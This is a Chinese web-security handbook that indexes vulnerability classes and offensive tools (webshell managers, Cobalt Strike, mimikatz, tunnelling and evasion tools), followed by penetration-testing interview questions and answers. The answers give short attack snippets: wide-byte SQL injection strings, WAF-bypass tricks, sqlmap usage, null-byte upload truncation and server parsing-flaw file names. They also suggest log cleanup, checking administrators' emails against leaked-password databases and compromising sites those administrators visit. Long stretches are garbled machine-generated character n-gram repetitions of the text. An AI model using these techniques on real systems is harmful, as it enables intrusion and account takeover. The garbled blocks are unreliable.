WEB 安全手册 【声明】个人的快速查询目录,经验整理,仅供参考。 【内容】包括个人对漏洞理解、漏洞利用、代码审计和渗透测试的整理,也收录了他人相关的知识的总结和工具的推荐。 0x00 技能栈 依照红队的流程分工,选择适合自己的技能栈发展。 越接近中心的能力点越贴近web技术栈,反之亦然。可以根据自身情况,选择技术栈的发展方向。 0x01 漏洞理解篇(Vulnerability) 1.1 前端 同源策略 & CSP & JOSNP 跨域安全 1.2 后端 应用分层 & 漏洞分类 错综复杂的后端逻辑及安全 1.3 打造自己的知识库 爬取范围包括先知社区、安全客、Seebug Paper、跳跳糖、奇安信攻防社区、棱角社区 [Tool] 推送安全情报爬虫@Le0nsec 0x02 漏洞利用篇(Exploit) 2.1 前端安全-XSS XSS 利用的是用户对指定网站的信任 Cross Site Scripting (XSS) 2.2 前端安全-CSRF CSRF 利用的是网站对用户网页浏览器的信任 Client-side request forgery (CSRF) 2.3 SQL注入&数据库漏洞利用 SQL injection - MySQL SQL injection - Oracle SQL injection - MSSQL MySQL,Oracle,MSSQL和PostgreSQL的OOB方法 SQL injection - 信息外带(OOB) Redis 漏洞利用 程序检测参数不能为空,导致空口令无法利用 [Tool] 数据库综合利用工具 [Tool] MSSQL利用工具 2.4 模板注入 Server Side Template Injection (SSTI) MVC架构中,模板参数恶意输入产生的安全问题 STTI 总述 SSTI -Python SSTI -PHP 2.5 命令注入&代码执行 命令注入&代码执行-PHP 命令注入&代码执行-Java 2.6 Xpath注入 XPath 即为 XML 路径语言 XPath Injection 2.7 XML External Entity (XXE) XXE 2.8 文件上传漏洞 文件上传漏洞 远古时期的通杀利器 FCKeditor编辑器漏洞利用 2.9 Server-side request forgery (SSRF) SSRF 2.10 反序列化漏洞 php,java只能序列化数据,python可以序列化代码。 反序列化漏洞-PHP 反序列化漏洞-Java [Tool] 反序列化漏洞利用工具-Java ysoserial 拓展payload和添加脏数据绕过waf功能 [Tool] 反序列化漏洞利用工具 针对Java ysoserial进行拓展 2.11 包含漏洞 包含漏洞-PHP 2.12 PHP-特性漏洞 2.13 Java-特性漏洞 表达式注入Java SprintBoot漏洞利用清单@LandGrey 按照清单做的配套工具 [Tool] SprintBoot漏洞利用工具 2.14 NodeJs-特性漏洞 Node.js 原型链污染 2.15 Other 利用前后DNS解析的不一致(劫持或者逻辑问题) DNS rebinding 攻击 前后端不一致性 请求走私总结@chenjj 0x03 代码审计篇(Audit) 3.1 PHP vscode&phpstorm方案,xdebug2.X和xdebug3.X配置 PHP调试环境的搭建 PHP代码审计@bowu678 3.2 JAVA Java调试环境的搭建 Java代码审计@cn-panda Java安全@Y4tacker Java漏洞平台@j3ers3 3.3 .NET .Net反序列化@Ivan1ee 3.4 Perl CGI Perl CGI快速上手,了解Perl语言特性 Perl基础&代码审计@mi1k7ea 0x04 渗透篇(Penetration) 【流程】网络预置(信息收集)-->网络接入(外网突破)-->权限获取和提升-->权限维持(后门)-->后渗透 【基础】---免杀+++反溯源+++协同--- 4.0 环境准备 4.0.1 代理客户端 操作系统 on VM + OpenWrt网关 on VM = 全局跳板 全局代理[VMware]:Openwrt on VMware网关方案 全局代理,虚拟网卡,需要手动配路由 全局代理[Win]:Windows下socks客户端全局代理终极解决方案——tun2socks SSTap全局代理也是基于虚拟网卡方案,可惜已停止更新,推荐使用1.0.9.7版本 [Tool] Windows下全局代理客户端工具 SSTap Proxifier 全局代理支持并不好,可以设置规则选择指定程序走代理或直连 [Tool] Windows下代理客户端工具 Proxifier [Tool] Windows版 proxychains 4.1 网络预置 4.1.1 常规信息 外网信息收集思路 4.1.2 资产搜索引擎 fofa.so shodan.io zoomeye.org censys.io 4.1.3 移动端 从移动端拓展目标信息 [Tool] 移动端信息收集工具 AppInfoScanner [Tool] 安全分析框架 MobSF 4.2 网络接入(exp) 4.2.1 漏洞验证(扫描器) 工欲其善必先利器 4.2.1.1 主动式 [Tool] AWVS Docker版 [Tool] 长亭的扫描器 Xray [Tool] Vulmap [Tool] 红队综合渗透框架SatanSword@Lucifer1993 4.2.1.2 被动式 将Burpusuite打造成一个被动式扫描器 [Tool] BurpSutie 插件集合@Mr-xn 4.2.2漏洞利用(1day) 漏洞索引表【待整理】 IoT安全 & web安全& 系统漏洞 1day整理 漏洞利用wiki 红队中易被攻击的一些重点系统漏洞整理@r0eXpeR 织梦全版本漏洞扫描@lengjibo [Tool] Struts2漏洞扫描&利用 [Tool] shiro反序列化漏洞利用 4.2.3 字典 常用的字典,用于渗透测试、SRC漏洞挖掘、爆破、Fuzzing等@insightglacier Fuzzing相关字典@TheKingOfDuck 4.3 权限获取&提升 4.3.1 Win 离线|在线|破解 Windows 认证凭证获取 [Tool] mimikatz Windows认证凭证提取神器 已经停止更新到CVE-2018 Windows提权漏洞集合@SecWiki 4.3.2 Linux Linux 认证凭证获取 Linux setuid提权 Linux 提权检测脚本 lse.sh 已经停止更新到CVE-2018 Linux提权漏洞集合@SecWiki 4.3.3 Docker&Sandbox逃逸 Dokcer容器逃逸@duowen1 4.4 权限维持&后门 4.4.0 通用 Meterpreter of Metasploit 使用教程 backdoor生成,meterpreter操作指令 4.4.1 Shell会话 反弹/正向 Shell & 升级交互式Shell (Linux&Win) 4.4.2 Webshell [Tool] WebShell管理工具 菜刀 [Tool] WebShell管理工具 蚁剑 [Tool] WebShell管理工具 冰蝎 [Tool] WebShell管理工具 哥斯拉 收集的各种Webshell@tennc 4.4.3 PC & Server [Tool] Cobalt Strike Cobalt Strike资料汇总@zer0yu 4.4.4 Mobile (Android & ios) 4.5 免杀 免杀系列文章及配套工具@TideSec 4.6 隧道&代理 SSH 端口转发&开socks5 Iptables 端口复用 FRP 客服端和服务端配合的端口转发工具 [Tool] 反向端口转发工具 FRP Venom 可以嵌套多层代理,适合多层无外网的渗透测试,停止更新 [Tool] 内网多级代理服务端工具 Venom 比Venom更加稳定,持续更新【推荐】 [Tool] 内网多级代理服务端工具 Stowaway HTTP代理,国内更新维护【推荐】 [Tool] HTTP代理 Neo-reGeorg 4.7 后渗透 4.7.1 内网信息获取 信息获取 & 远程文件操作 & 远程执行命令 & ipc$ & wmic & winrm Windows 主机常用命令 可以提取流量中用户名&密码,NTML Hash,图片等,以及绘制网络拓扑。 [Tool] 流量取证工具 BruteShark Windows rdp相关的登录记录导出工具。 [Tool] 浏览器数据导出解密工具 [Tool] SharpRDPLog 4.7.2 轻量级扫描工具 内网扫描神器,go语言跨平台,效率快,支持各类口令爆破,还有主机识别和web服务识别。 [Tool] fscan k8 team的内网扫描器 [Tool] Landon 4.7.3 渗透框架 [Tool] 后渗透利用神器 Metasploit [Tool] 内网横向拓展系统 InScan [Tool] 开源图形化内网渗透工具 Viper 4.7.4 域渗透 域渗透@uknowsec 4.7.5 云平台 通过accesskey获取相关主机权限执行命令 [Tool] Aliyun Accesskey Tool 4.8 反溯源 Linux 痕迹清理 4.9 协同 HackMD markdown协同工具(Docker版) 安全 全手 手册 安全手 全手册 安全手册 声明 个人 人的 的快 快速 速查 查询 询目 目录 个人的 人的快 的快速 快速查 速查询 查询目 询目录 个人的快 人的快速 的快速查 快速查询 速查询目 查询目录 经验 验整 整理 经验整 验整理 经验整理 仅供 供参 参考 仅供参 供参考 仅供参考 内容 包括 括个 人对 对漏 漏洞 洞理 理解 包括个 括个人 个人对 人对漏 对漏洞 漏洞理 洞理解 包括个人 括个人对 个人对漏 人对漏洞 对漏洞理 漏洞理解 洞利 利用 漏洞利 洞利用 漏洞利用 代码 码审 审计 计和 和渗 渗透 透测 测试 试的 的整 代码审 码审计 审计和 计和渗 和渗透 渗透测 透测试 测试的 试的整 的整理 代码审计 码审计和 审计和渗 计和渗透 和渗透测 渗透测试 透测试的 测试的整 试的整理 也收 收录 录了 了他 他人 人相 相关 关的 的知 知识 识的 的总 总结 结和 和工 工具 具的 的推 推荐 也收录 收录了 录了他 了他人 他人相 人相关 相关的 关的知 的知识 知识的 识的总 的总结 总结和 结和工 和工具 工具的 具的推 的推荐 也收录了 收录了他 录了他人 了他人相 他人相关 人相关的 相关的知 关的知识 的知识的 知识的总 识的总结 的总结和 总结和工 结和工具 和工具的 工具的推 具的推荐 技能 能栈 技能栈 依照 照红 红队 队的 的流 流程 程分 分工 依照红 照红队 红队的 队的流 的流程 流程分 程分工 依照红队 照红队的 红队的流 队的流程 的流程分 流程分工 选择 择适 适合 合自 自己 己的 的技 栈发 发展 选择适 择适合 适合自 合自己 自己的 己的技 的技能 能栈发 栈发展 选择适合 择适合自 适合自己 合自己的 自己的技 己的技能 的技能栈 技能栈发 能栈发展 越接 接近 近中 中心 心的 的能 能力 力点 点越 越贴 贴近 越接近 接近中 近中心 中心的 心的能 的能力 能力点 力点越 点越贴 越贴近 越接近中 接近中心 近中心的 中心的能 心的能力 的能力点 能力点越 力点越贴 点越贴近 技术 术栈 技术栈 反之 之亦 亦然 反之亦 之亦然 反之亦然 可以 以根 根据 据自 自身 身情 情况 可以根 以根据 根据自 据自身 自身情 身情况 可以根据 以根据自 根据自身 据自身情 自身情况 择技 栈的 的发 展方 方向 选择技 择技术 术栈的 栈的发 的发展 发展方 展方向 选择技术 择技术栈 技术栈的 术栈的发 栈的发展 的发展方 发展方向 解篇 理解篇 洞理解篇 前端 同源 源策 策略 同源策 源策略 同源策略 跨域 域安 跨域安 域安全 跨域安全 后端 应用 用分 分层 应用分 用分层 应用分层 洞分 分类 漏洞分 洞分类 漏洞分类 错综 综复 复杂 杂的 的后 端逻 逻辑 辑及 及安 错综复 综复杂 复杂的 杂的后 的后端 后端逻 端逻辑 逻辑及 辑及安 及安全 错综复杂 综复杂的 复杂的后 杂的后端 的后端逻 后端逻辑 端逻辑及 逻辑及安 辑及安全 打造 造自 识库 打造自 造自己 己的知 知识库 打造自己 造自己的 自己的知 己的知识 的知识库 爬取 取范 范围 围包 括先 先知 知社 社区 爬取范 取范围 范围包 围包括 包括先 括先知 先知社 知社区 爬取范围 取范围包 范围包括 围包括先 包括先知 括先知社 先知社区 全客 安全客 跳跳 跳糖 跳跳糖 奇安 安信 信攻 攻防 防社 奇安信 安信攻 信攻防 攻防社 防社区 奇安信攻 安信攻防 信攻防社 攻防社区 棱角 角社 棱角社 角社区 棱角社区 推送 送安 全情 情报 报爬 爬虫 推送安 送安全 安全情 全情报 情报爬 报爬虫 推送安全 送安全情 安全情报 全情报爬 情报爬虫 用篇 利用篇 洞利用篇 端安 前端安 端安全 前端安全 用的 的是 是用 用户 户对 对指 指定 定网 网站 站的 的信 信任 利用的 用的是 的是用 是用户 用户对 户对指 对指定 指定网 定网站 网站的 站的信 的信任 利用的是 用的是用 的是用户 是用户对 用户对指 户对指定 对指定网 指定网站 定网站的 网站的信 站的信任 是网 站对 对用 户网 网页 页浏 浏览 览器 器的 的是网 是网站 网站对 站对用 对用户 用户网 户网页 网页浏 页浏览 浏览器 览器的 器的信 用的是网 的是网站 是网站对 网站对用 站对用户 对用户网 用户网页 户网页浏 网页浏览 页浏览器 浏览器的 览器的信 器的信任 注入 数据 据库 库漏 数据库 据库漏 库漏洞 数据库漏 据库漏洞 库漏洞利 方法 信息 息外 外带 信息外 息外带 信息外带
-
面试渗透工作面试官会提什么问题?
正常面试官会提问这些问题,你照常回答即可。 正常 常面 面试 试官 官会 会提 提问 问这 这些 些问 问题 正常面 常面试 面试官 试官会 官会提 会提问 提问这 问这些 这些问 些问题 正常面试 常面试官 面试官会 试官会提 官会提问 会提问这 提问这些 问这些问 这些问题 你照 照常 常回 回答 答即 即可 你照常 照常回 常回答 回答即 答即可 你照常回 照常回答 常回答即 回答即可
-
面试渗透工作面试官会提什么问题?
介绍一下自认为有趣的挖洞经历(或CTF经历) 你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? 你平时使用哪些工具?以及对应工具的特点? 如果遇到waf的情况下如何进行sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一) 参考以下三篇 我的WafBypass之道(SQL注入篇) 我的WafBypass之道(Upload篇) 我的WafBypass之道(Misc篇) 谈一谈Windows系统与Linux系统提权的思路? 列举出您所知道的所有开源组件高危漏洞(十个以上) 描述一个你深入研究过的 CVE 或 POC。 SQLi 如何判断sql注入,有哪些方法 添加单引号,双引号,order by, rlike,sleep,benchmark,运算符,修改数据类型,报错注入语句测试 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案? 通俗讲,gbk,big5等编码占了两个字节,sql语句进后端后对单引号等进行了转义,转义\为%5C,当前面的%xx与%5C能结合成两个字节的字符时候,就可以使后面的单引号逃逸,从而造成注入。比较常见的gbk,%df' => %df%5c%27 => 運' 。已经可以单引号了,剩下的就和普通注入差不多了。 修复方式通过设置MYSQL数据库字符集utf8mb4,PHP字符集utf-8。 你都了解哪些sql 的bypass技巧 这种太多了,网上一搜一大把。主要还是看目标站点的过滤和防护,常见bypass可以是/**/替换空格,/!00000union/ 等于union,或者利用前端过滤,添加尖括号<>。大小写什么的都太常见了,如果过滤了函数或者关键字,可以尝试其他能达到效果的同等函数,关键字比如or 1=1可以用||1替换,或者用运算符比如/,%达到相同的效果。总之,还是看要求。 sqlmap如何对一个注入点注入? 如果是get型,直接,sqlmap -u “注入点网址”. 如果是post型,可以sqlmap -u “注入点网址” –data=”post的参数” 如果是cookie型,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r “文件地址” mysql的网站注入,5.0以上和5.0以下有什么区别? 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。 5.0以下是多用户单操作,5.0以上是多用户多操做。 mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? root权限以及网站的绝对路径。 以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路? demo.do?DATA=AjAxNg== 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选? Domain 解释一下同源策略 如果两个页面的协议,端口和域名相同,则可认为是同源。 同源策略,那些东西是同源可以获取到的 读取cookie, LocalStorage 和 IndexDB 读取DOM元素 发送AJAX请求 如果子域名和顶级域名不同源,在哪里可以设置叫他们同源 大概就是子域相同,主域不同的意思吧,可以通过在两房都设置document.domain来解决跨域。 如何设置可以跨域请求数据?jsonp是做什么的? 主域相同时跨域,可以像上面那样设置document.domain. 主域不同时,可以通过jsonp,websocket,在服务端设置CORS进行跨域请求。H5新增window.postMessage方法解决跨域请求。 通过<script>像服务器请求json数据,不受同源策略限制。 jsonp的业务意义? Ajax Ajax是否遵循同源策略? ajax全名是Asynchronous JavaScript and XML ,异步的javascript和XML技术。遵循同源策略,但是可以通过jsonp等进行规避。 JSON注入如何利用? XSS跨站攻击 JSON和JSONP的区别? JSONP劫持利用方式及修复方案? 浏览器策略 不同浏览器之间,安全策略有哪些不同,比如chrome,firefox,IE 三种浏览器都遵循同源策略,内容安全策略(CSP), Cookie安全策略(httponly, Secure, Path) CSP是什么?如何设置CSP? CSP:Content Security Policy,内容安全策略。是繁育XSS攻击的一种安全机制,其思想是以服务器白名单的形式来配置可信的内容来源,客户端Web应用代码可以使用这些安全来源。 XSS XSS是什么,修复方式是? XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 xss的发生场景? 个人理解是对用户提交数据为进行安全的过滤然后直接输入到页面当中,造成js代码的执行。至于具体场景,有输出的地方就有可能被xss的风险。 XSS持久化? 如果给你一个XSS漏洞,你还需要哪些条件可以构造一个蠕虫? XSS蠕虫:XSS攻击可能会造成系统中用户间的互相感染,导致整个系统用户的沦陷,能够造成这种危害的XSS漏洞成为XSS蠕虫。 1、构造一个具有自我复制的反射型XSS 2、插入评论、留言框 3、用户点击链接,链接内容指向同样的XSS向量。也就是注入了蠕虫代码的的存在存储型xss的页面。链接被点击后将继续造成蠕虫传播。 在社交类的网站中,哪些地方可能会出现蠕虫? 留言板/评论/文章发布/私信... 如果叫你来防御蠕虫,你有哪些方法? 1、将本地带有破坏性的程序改名字。 2、关闭可执行文件。 3、禁止“FileSystemObject”就可以有效的控制VBS病毒的传播。具体操作方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。 4、开启浏览器的安全设置。 如果给你一个XSS盲打漏洞,但是返回来的信息显示,他的后台是在内网,并且只能使用内网访问,那么你怎么利用这个XSS? github有一些现成的xss扫描内网端口的脚本,可以参考利用,再根据探测出来的信息进一步利用,比如开了redis等,再就是利用漏洞去getshell. 如何防范 XSS 漏洞,在前端如何做,在后端如何做,哪里更好,为什么? 黑盒如何检测XSS漏洞? CRLF注入 CRLF注入的原理 CRLF是回车+换行的简称。碰得比较少,基本没挖到过这种洞,简而言之一般是可以通过提交恶意数据里面包含回车,换行来达到控制服务器响应头的效果。碰到过潜在的CRLF都是提交回车和换行之后就500了。CRLF的利用可以是XSS,恶意重定向location,还有set-cookie. CSRF CSRF是什么?修复方式? CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范`的页面然后嵌入Token、再次输入密码、检验Referer。 CSRF漏洞的本质是什么? CSRF即跨站请求伪造,以受害者的身份向服务器发送一个请求。本质上个人觉得是服务端在执行一些敏感操作时候对提交操作的用户的身份校检不到位。 防御CSRF都有哪些方法,JAVA是如何防御CSRF漏洞的,token一定有用么? 防御CSRF一般是加上referer和csrf_token. 具体可以参考这篇CSRF攻击的应对之道 CSRF、SSRF和重放攻击有什么区别? CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的 SSRF SSRF漏洞原理、利用方式及修复方案?Java和PHP的SSRF区别? 逻辑漏洞 说出至少三种业务逻辑漏洞,以及修复方式? 1)密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码 2)身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份 3)验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过 越权访问(水平/垂直/未授权) 谈谈水平/垂直/未授权越权访问的区别? 越权问题如何检测? XML注入 XXE是什么?修复方案是? XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。 URL重定向 URL白名单绕过 HTML5 说说HTML5有哪些新的安全特性 H5新增了不少标签,在绕过xss防御方面多了不少选择。还有就是新增了本地存储,localstorage 和session storage,可以通过xss修改本地存储达到类似一个存储xss的效果。 * HTML5白名单要有哪些标签 参考HTML5安全问题 java 你都了解哪些java框架? struts2 ,spring,spring security, shiro 等 java的MVC结构都是做什么的,数据流向数据库的顺序是什么? 了解java沙箱吗? ibats的参数化查询能不能有效的控制sql注入?有没有危险的方法可以造成sql注入? 说说两次struts2漏洞的原理 ongl在这个payload中起了什么作用? \u0023是什么字符的16进制编码?为什么在payload中要用他? java会不会发生执行系统命令的漏洞?java都有哪些语句,方法可以执行系统命令 如果叫你修复一个xss漏洞,你会在java程序的那个层里面进行修复? xss filter在java程序的哪里设置? 说下java的类反射在安全上可能存在哪些问题 Java反序列化漏洞的原理?解决方案? PHP php里面有哪些方法可以不让错误回显? php的配置文件php.ini进行了修改,display_errors = On 修改为 display_errors = off时候就没有报错提示。 在php脚本开头添加error_reporting(0); 也可以达到关闭报错的作用 除了上面的,还可以在执行语句前面添加@ php.ini可以设置哪些安全特性 关闭报错,设置open_basedir,禁用危险函数,打开gpc。有具体的文章介绍安全配置这一块,属于运维的工作范围。 php的%00截断的原理是什么? 存在于5.3.4版本下,一般利用在文件上传时文件名的截断,或者在对文件进行操作时候都有可能存在00阶段的情况。 如filename=test.php%00.txt 会被截断成test.php,00后面的被忽略。系统在对文件名读取时候,如果遇到0x00,就会认为读取已经结束了。 php webshell检测,有哪些方法 个人知道的大体上分为静态检测和动态检测两种。静态检测比如查找危险函数,如eval,system等。动态检测是检测脚本运行时要执行的动作,比如文件操作,socket操作等。具体方法可以是通过D盾或者其他查杀软件进行查杀,现在也有基于机器学习的webshell识别。 php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的? php反序列化漏洞的原理?解决方案? 中间件 tomcat要做哪些安全加固? 如果tomcat重启的话,webapps下,你删除的后台会不会又回来? 常见的网站服务器中间件容器。 IIS、Apache、nginx、Lighttpd、Tomcat JAVA有哪些比较常见的中间件容器? Tomcat/Jetty/JBOSS/WebLogic/Coldfusion/Websphere/GlassFish 说说常见的中间件解析漏洞利用方式 IIS 6.0 /xx.asp/xx.jpg "xx.asp"是文件夹名 IIS 7.0/7.5 默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析 Nginx 版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。 空字节代码 xxx.jpg%00.php Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀 lighttpd xx.jpg/xx.php Redis未授权访问漏洞如何入侵利用? 数据库 mysql UDF提权5.1以上版本和5.1以下有什么区别,以及需要哪些条件? 1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。 3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。 4)可以将udf.dll写入到相应目录的权限。 mysql数据库默认有哪些库?说出库的名字 infomation_schema, msyql, performance_scheme, test mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式? mysql数据库下的user表。 mysql表权限里面,除了增删改查,文件读写,还有哪些权限? mysql安全要如何做? sqlserver public权限要如何提权 Windows、Linux、数据库的加固降权思路,任选其一 Linux 简述Linux系统安全加固需要做哪些方面 你使用什么工具来判断系统是否存在后门 Linux的Selinux是什么?如何设置Selinux? iptables工作在TCPIP模型中的哪层? 如果无法升级内核,那么如何保证系统不被已知的exp提权? syslog里面都有哪些日志?安装软件的日志去哪找? 如何查询ssh的登录日志?如何配置syslog的日志格式? syslog可不可以使用vi等工具直接查看?是二进制文件吗? 如果一台Linux服务器被入侵后,你会如何做应急响应? 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? 应急响应 有哪几种后门实现方式? webshell检测有什么方法思路? Linux服务器中了木马后,请简述应急思路? 遇到新0day(比如Struts2)后,应该如何进行应急响应? 新业务上线前可以从哪些方向进行安全评估? 现有系统可以从哪些方向进行审计发现其中的安全风险? 信息采集 踩点都要采集哪些信息? DNS在渗透中的作用 如何绕过CDN获取目标网站真实IP,谈谈你的思路? 绕过CDN寻找网站真实IP的方法汇总 如果给你一个网站,你的渗透测试思路是什么? 在获取书面授权的前提下 1.信息收集 1)获取域名的whois信息,获取注册者邮箱姓名电话等。 2)查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。 3)查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞 4)查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血, mysql,ftp,ssh弱口令等。 5)扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针 6)google hack 进一步探测网站的信息,后台,敏感文件 2.漏洞扫描 开始检测漏洞,如XSS,CSRF,SQL注入,代码执行,命令执行,越权访问,目录读取,任意文件读取, 下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等 3.漏洞利用 利用以上的方式拿到webshell,或者其他权限 4.权限提升 提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr, 巴西烤肉 linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql root提权以及oracle低权限提权 5.日志清理 6.总结报告及修复方案 在渗透过程中,收集目标站注册人邮箱对我们有什么价值? 1)丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。 2)用邮箱做关键词进行丢进搜索引擎。 3)利用搜索到的关联信息找出其他邮进而得到常用社交账号。 4)社工找出社交账号,里面或许会找出管理员设置密码的习惯 。 5)利用已有信息生成专用字典。 6)观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西。 判断出网站的CMS对渗透有什么意义? 1)查找网上已曝光的程序漏洞。 2)如果开源,还能下载相对应的源码进行代码审计。 3)一个成熟并且相对安全的CMS,渗透时扫目录的意义? 4)敏感文件、二级目录扫描 5)站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点 介绍 绍一 一下 下自 自认 认为 为有 有趣 趣的 的挖 挖洞 洞经 经历 介绍一 绍一下 一下自 下自认 自认为 认为有 为有趣 有趣的 趣的挖 的挖洞 挖洞经 洞经历 介绍一下 绍一下自 一下自认 下自认为 自认为有 认为有趣 为有趣的 有趣的挖 趣的挖洞 的挖洞经 挖洞经历 你平 平时 时用 用的 的比 比较 较多 多的 的漏 漏洞 洞是 是哪 哪些 你平时 平时用 时用的 用的比 的比较 比较多 较多的 多的漏 的漏洞 漏洞是 洞是哪 是哪些 你平时用 平时用的 时用的比 用的比较 的比较多 比较多的 较多的漏 多的漏洞 的漏洞是 漏洞是哪 洞是哪些 相关 关漏 洞的 的原 原理 相关漏 关漏洞 漏洞的 洞的原 的原理 相关漏洞 关漏洞的 漏洞的原 洞的原理 以及 及对 对应 应漏 的修 修复 复方 方案 以及对 及对应 对应漏 应漏洞 洞的修 的修复 修复方 复方案 以及对应 及对应漏 对应漏洞 应漏洞的 漏洞的修 洞的修复 的修复方 修复方案 时使 使用 用哪 些工 工具 平时使 时使用 使用哪 用哪些 哪些工 些工具 你平时使 平时使用 时使用哪 使用哪些 用哪些工 哪些工具 应工 具的 的特 特点 对应工 应工具 工具的 具的特 的特点 及对应工 对应工具 应工具的 工具的特 具的特点 如果 果遇 遇到 如果遇 果遇到 如果遇到 的情 情况 况下 下如 如何 何进 进行 的情况 情况下 况下如 下如何 如何进 何进行 的情况下 情况下如 况下如何 下如何进 如何进行 注入 上传 怎么 么做 怎么做 请写 写出 出曾 曾经 经绕 绕过 请写出 写出曾 出曾经 曾经绕 经绕过 请写出曾 写出曾经 出曾经绕 曾经绕过 的经 经过 的经过 传漏 洞选 选一 上传漏 传漏洞 漏洞选 洞选一 上传漏洞 传漏洞选 漏洞选一 参考 考以 以下 下三 三篇 参考以 考以下 以下三 下三篇 参考以下 考以下三 以下三篇 我的 之道 入篇 注入篇 谈一 一谈 谈一谈 系统 统与 系统与 统提 提权 权的 的思 思路 系统提 统提权 提权的 权的思 的思路 系统提权 统提权的 提权的思 权的思路 列举 举出 出您 您所 所知 知道 道的 的所 所有 有开 开源 源组 组件 件高 高危 危漏 列举出 举出您 出您所 您所知 所知道 知道的 道的所 的所有 所有开 有开源 开源组 源组件 组件高 件高危 高危漏 危漏洞 列举出您 举出您所 出您所知 您所知道 所知道的 知道的所 道的所有 的所有开 所有开源 有开源组 开源组件 源组件高 组件高危 件高危漏 高危漏洞 十个 个以 以上 十个以 个以上 十个以上 描述 述一 一个 个你 你深 深入 入研 研究 究过 过的 描述一 述一个 一个你 个你深 你深入 深入研 入研究 研究过 究过的 描述一个 述一个你 一个你深 个你深入 你深入研 深入研究 入研究过 研究过的 何判 判断 如何判 何判断 如何判断 有哪 些方 方法 有哪些 哪些方 些方法 有哪些方 哪些方法 添加 加单 单引 引号 添加单 加单引 单引号 添加单引 加单引号 双引 双引号 运算 算符 运算符 修改 改数 数据 据类 类型 修改数 改数据 数据类 据类型 修改数据 改数据类 数据类型 报错 错注 入语 语句 句测 测试 报错注 错注入 注入语 入语句 语句测 句测试 报错注入 错注入语 注入语句 入语句测 语句测试 入漏 洞成 成因 注入漏 入漏洞 漏洞成 洞成因 注入漏洞 入漏洞成 漏洞成因 何防 防范 如何防 何防范 如何防范 入方 方式 式有 注入方 入方式 方式有 式有哪 注入方式 入方式有 方式有哪 式有哪些 除了 了数 据库 库数 除了数 了数据 数据库 据库数 库数据 除了数据 了数据库 数据库数 据库数据 利用 用方 式还 还有 利用方 用方式 方式还 式还有 还有哪 利用方式 用方式还 方式还有 式还有哪 还有哪些 宽字 字符 符注 入的 宽字符 字符注 符注入 注入的 入的原 宽字符注 字符注入 符注入的 注入的原 入的原理 何利 用宽 如何利 何利用 利用宽 用宽字 如何利用 何利用宽 利用宽字 用宽字符 符注入漏 何构 构造 造及 及修 如何构 何构造 构造及 造及修 及修复 如何构造 何构造及 构造及修 造及修复 及修复方 通俗 俗讲 通俗讲 等编 编码 码占 占了 了两 两个 个字 字节 等编码 编码占 码占了 占了两 了两个 两个字 个字节 等编码占 编码占了 码占了两 占了两个 了两个字 两个字节 句进 进后 后端 端后 后对 对单 号等 等进 行了 了转 转义 语句进 句进后 进后端
-
渗透透测试演练的WEB系统
